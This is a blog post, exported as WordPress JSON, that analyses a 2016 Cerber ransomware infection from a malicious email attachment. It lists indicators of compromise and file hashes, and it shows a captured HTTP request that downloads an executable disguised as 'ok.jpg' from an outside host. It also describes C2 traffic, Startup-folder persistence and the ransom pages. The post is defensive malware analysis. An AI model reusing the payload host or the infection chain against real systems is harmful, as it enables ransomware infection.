{"id":550,"date":"2016-07-01T23:28:10","date_gmt":"2016-07-01T22:28:10","guid":{"rendered":"http:\/\/www.herbiez.com\/?p=550"},"modified":"2016-07-01T23:28:10","modified_gmt":"2016-07-01T22:28:10","slug":"2016-06-30-cerber-infection-from-malspam","status":"publish","type":"post","link":"https:\/\/www.herbiez.com\/?p=550","title":{"rendered":"2016-06-30 Cerber infection from Malspam"},"content":{"rendered":"<p>So this past week I went trolling through the email filters at work to see what &#8220;goodies&#8221; I could find that it had blocked. A lot of the ones that I had tested and played around with either 1) did not work since the callbacks where already fixed, or 2) would not detonate fully on my test VM. Yesterday I was finally lucky to find one that was fully operational and worked. The email was very simple and had a zip file attached to it that held a javascript file which lead to a Cerber infection. For all the artifacts found within this infection, please see my Github repo <a href=\"http:\/\/github.com\/bloomer1016\/2016-06-30-Cerber-Malspam\" target=\"_blank\">here.<\/a><\/p>\n<p>Below is the malicious email:<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/07\/IMG0.1.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/07\/IMG0.1.png\" alt=\"\" width=\"890\" height=\"338\" class=\"aligncenter size-full wp-image-554\" \/><\/a><\/p>\n<p>Indicators of Compromise:<br \/>\n=========================<br \/>\n220.181.87.80 \/ 80<br \/>\n31.184.232.0\/20 \/ 137 and 6892<\/p>\n<p>Information about the malspam:<br \/>\n==============================<br \/>\nFile name: IMG4260636777.JPG.zip<br \/>\nFile size: 73KB<br \/>\nMD5 hash: f12441ad6da1bde87912b606a47d5098<br \/>\nVirustotal: NA<br \/>\nMalwr: NA<br \/>\nPayload Security: NA<\/p>\n<p>File name: IMG8795067152-JPG.js<br \/>\nFile size: 74KB<br \/>\nMD5 hash: fe10649aa1970f97c198b2ec15b2afad<br \/>\nVirustotal: <a href=\"http:\/\/www.virustotal.com\/en\/file\/4a55776e9846e548f37a1fbe4070cc881746411239ae089f35a120690bf15ff3\/analysis\/\" target=\"_blank\">http:\/\/www.virustotal.com\/en\/file\/4a55776e9846e548f37a1fbe4070cc881746411239ae089f35a120690bf15ff3\/analysis\/<\/a><br \/>\nDetection ratio: 7 \/ 56<br \/>\nFirst submission: 2016-06-30 11:30:31 UTC<br \/>\nMalwr: NA<br \/>\nPayload Security: <a href=\"http:\/\/www.hybrid-analysis.com\/sample\/4a55776e9846e548f37a1fbe4070cc881746411239ae089f35a120690bf15ff3?environmentId=100\" target=\"_blank\">http:\/\/www.hybrid-analysis.com\/sample\/4a55776e9846e548f37a1fbe4070cc881746411239ae089f35a120690bf15ff3?environmentId=100<\/a><\/p>\n<p>File name: mshta.exe\/perfhost.exe\/ok.jpg\/fd8afaceb.exe<br \/>\nFile size: 257KB<br \/>\nMD5 hash: f989db240d79c3d4634efdf414a8a6fc<br \/>\nVirustotal: <a href=\"http:\/\/www.virustotal.com\/en\/file\/8434995fcb6361c6a1fec76f73f0da21e0c5e5904aee6c07d993586e430dd640\/analysis\/\" target=\"_blank\">http:\/\/www.virustotal.com\/en\/file\/8434995fcb6361c6a1fec76f73f0da21e0c5e5904aee6c07d993586e430dd640\/analysis\/<\/a><br \/>\nDetection ratio: 26 \/ 54<br \/>\nFirst submission: 2016-06-30 16:02:05 UTC<br \/>\nMalwr: NA<br \/>\nPayload Security: NA<\/p>\n<p>Investigation of malspam:<br \/>\n=========================<br \/>\nI was not able to deobfuscate the javascript that was attached to the email. If you would like to see the javascript code, please see the <a href=\"http:\/\/github.com\/bloomer1016\/2016-06-30-Cerber-Malspam\" target=\"_blank\">repo<\/a> for this infection or take a look at the file <a href=\"http:\/\/github.com\/bloomer1016\/2016-06-30-Cerber-Malspam\/blob\/master\/cerber-javascript\" target=\"_blank\">here<\/a>. Because of this I did the next best thing &#8211; just ran it on my test VM.<\/p>\n<p>The first thing that I noticed after running the javascript file was that there was a GET request to an IP address for a &#8220;ok.jpg&#8221; file which is really a malicious binary file as you can see below:<\/p>\n<pre class=\"brush: vb; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\n\tGET \/ok.jpg HTTP\/1.1\r\n\tAccept: *\/*\r\n\tUA-CPU: AMD64\r\n\tAccept-Encoding: gzip, deflate\r\n\tUser-Agent: Mozilla\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident\/6.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)\r\n\tHost: 220.181.87.80\r\n\tConnection: Keep-Alive\r\n\r\n\tHTTP\/1.1 200 OK\r\n\tDate: Thu, 30 Jun 2016 10:11:53 GMT\r\n\tServer: Apache\/2.0.52 (Red Hat)\r\n\tLast-Modified: Thu, 30 Jun 2016 09:15:33 GMT\r\n\tETag: &quot;730006-3ed0d-4fe77740&quot;\r\n\tAccept-Ranges: bytes\r\n\tContent-Length: 257293\r\n\tConnection: close\r\n\tContent-Type: image\/jpeg\r\n\tX-Pad: avoid browser bug\r\n\r\n\tMZ......................@.............................................\t.!..L.!This program cannot be run in DOS mode.<\/pre>\n<p>The next (and only other HTTP request) is for the site ipinfo.io to get the external IP address of the system. From here the rest of the traffic is to the 31.184.233.0\/20 subnet on ports 137 and 6892. The subnet seems to belong to the Petersburg Internet Network ltd. as you can see here: <\/p>\n<pre class=\"brush: vb; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\n\tASN\tAS44050\r\n\tAllocated\t2007-11-09T12:08:55Z\r\n\tRegistry\tripe\r\n\tRelated Domain\tpinspb.ru\r\n\tIP Addresses\t183,040\r\n\tCountry\tRussia<\/pre>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/07\/IMG0.2.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/07\/IMG0.2.png\" alt=\"\" width=\"1314\" height=\"526\" class=\"aligncenter size-full wp-image-555\" \/><\/a><\/p>\n<p>I am not sure why it is trying to connect to port 137 from port 137 to be honest. The traffic to port 6892 is UDP traffic reporting back to the malicious server in some encrypted manner. <\/p>\n<p>**Please note: The file names from here on in are different than the ones that are found in the YouTube video and in my Github repo. This is because of me re-running the javascript file several times to 1) capture the infection on video, 2) capture any artifacts left behind, and 3) capturing the Process Monitor logs and the PCAP. The file\/folder names in the write-up below are all based from the Process Monitor logs.<\/p>\n<p>Shifting gears from the network side to the system itself, there are two main locations that the malware writes itself and other files: C:\\Users\\%Username%\\AppData\\Roaming and C:\\Users\\%Username%\\AppData\\Local\\Temp. Once the javascript file was executed (via the WScript process) and the GET request pulls down the malicious binary file we can then see it (the binary file &#8211; fd8afaceb.exe) start up. From here the fd8afaceb.exe process copied itself to become a child of itself which then created the file called perfhost.exe in the C:\\Users\\%Username%\\AppData\\Roaming\\{B0684371-5B37-35BA-FF55-493EAF153215} folder while also creating a LNK file in the &#8220;Startup&#8221; folder to maintain persistence. This file (perfhost.exe) then starts up and after a little bit proceeds to copy itself to another process as well. I believe it is this process that actually starts the encryption process while also creating the text file and the web page that notifies the user that there system has been encrypted. There is also some other calls that come from the &#8220;SVCHOST.exe&#8221; process that help Cerber &#8220;talk&#8221; to the user notifying them that there files have been encrypted. Below are some images giving a highlevel breakdown of how the processes are related to each from Process Monitor.<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/07\/IMG.03.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/07\/IMG.03.png\" alt=\"\" width=\"2004\" height=\"512\" class=\"aligncenter size-full wp-image-551\" \/><\/a><br \/>\n<a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/07\/IMG.04.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/07\/IMG.04.png\" alt=\"\" width=\"2416\" height=\"510\" class=\"aligncenter size-full wp-image-552\" \/><\/a><br \/>\n<a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/07\/IMG.05.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/07\/IMG.05.png\" alt=\"\" width=\"1106\" height=\"506\" class=\"aligncenter size-full wp-image-553\" \/><\/a><\/p>\n<p>An interesting thing that I would like to point out here is that there were 5 links given to me to unlock my files. Out of those 5 only 2 links worked as the rest gave me a 404 error. Here is the error that the three URLs gave me:<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/07\/IMG1.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/07\/IMG1.png\" alt=\"\" width=\"1916\" height=\"492\" class=\"aligncenter size-full wp-image-556\" \/><\/a><\/p>\n<p>The following is what one of the working pages looked like.<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/07\/IMG2.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/07\/IMG2.png\" alt=\"\" width=\"1740\" height=\"992\" class=\"aligncenter size-full wp-image-557\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/07\/IMG3.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/07\/IMG3.png\" alt=\"\" width=\"1813\" height=\"985\" class=\"aligncenter size-full wp-image-558\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/07\/IMG4.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/07\/IMG4.png\" alt=\"\" width=\"1916\" height=\"786\" class=\"aligncenter size-full wp-image-559\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/07\/IMG6.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/07\/IMG6.png\" alt=\"\" width=\"1912\" height=\"623\" class=\"aligncenter size-full wp-image-560\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/07\/IMG7.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/07\/IMG7.png\" alt=\"\" width=\"1907\" height=\"1248\" class=\"aligncenter size-full wp-image-561\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/07\/IMG8.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/07\/IMG8.png\" alt=\"\" width=\"1912\" height=\"1258\" class=\"aligncenter size-full wp-image-562\" \/><\/a><\/p>\n<p>And here is the video of one of the runs of the javascript file:<br \/>\n<iframe loading=\"lazy\" title=\"2016-06-30 Cerber infection from malspam\" width=\"640\" height=\"360\" src=\"https:\/\/www.youtube.com\/embed\/WGSVTCukdBw?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen><\/iframe><\/p>\n","protected":false},"excerpt":{"rendered":"<p>So this past week I went trolling through the email filters at work to see what &#8220;goodies&#8221; I could find that it had blocked. A lot of the ones that I had tested and played around with either 1) did not work since the callbacks where already fixed, or 2) would not detonate fully on my test VM. Yesterday I was finally lucky to find one that was fully operational and worked. The email was very simple and had a zip file attached to it that held a javascript file which lead to a Cerber infection. For all the artifacts&#8230;<\/p>\n<p> <a class=\"continue-reading-link\" href=\"https:\/\/www.herbiez.com\/?p=550\"><span>Continue reading<\/span><i class=\"crycon-right-dir\"><\/i><\/a> <\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-550","post","type-post","status-publish","format-standard","hentry","category-packet-analysis"],"_links":{"self":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/550","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=550"}],"version-history":[{"count":6,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/550\/revisions"}],"predecessor-version":[{"id":569,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/550\/revisions\/569"}],"wp:attachment":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=550"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=550"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=550"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}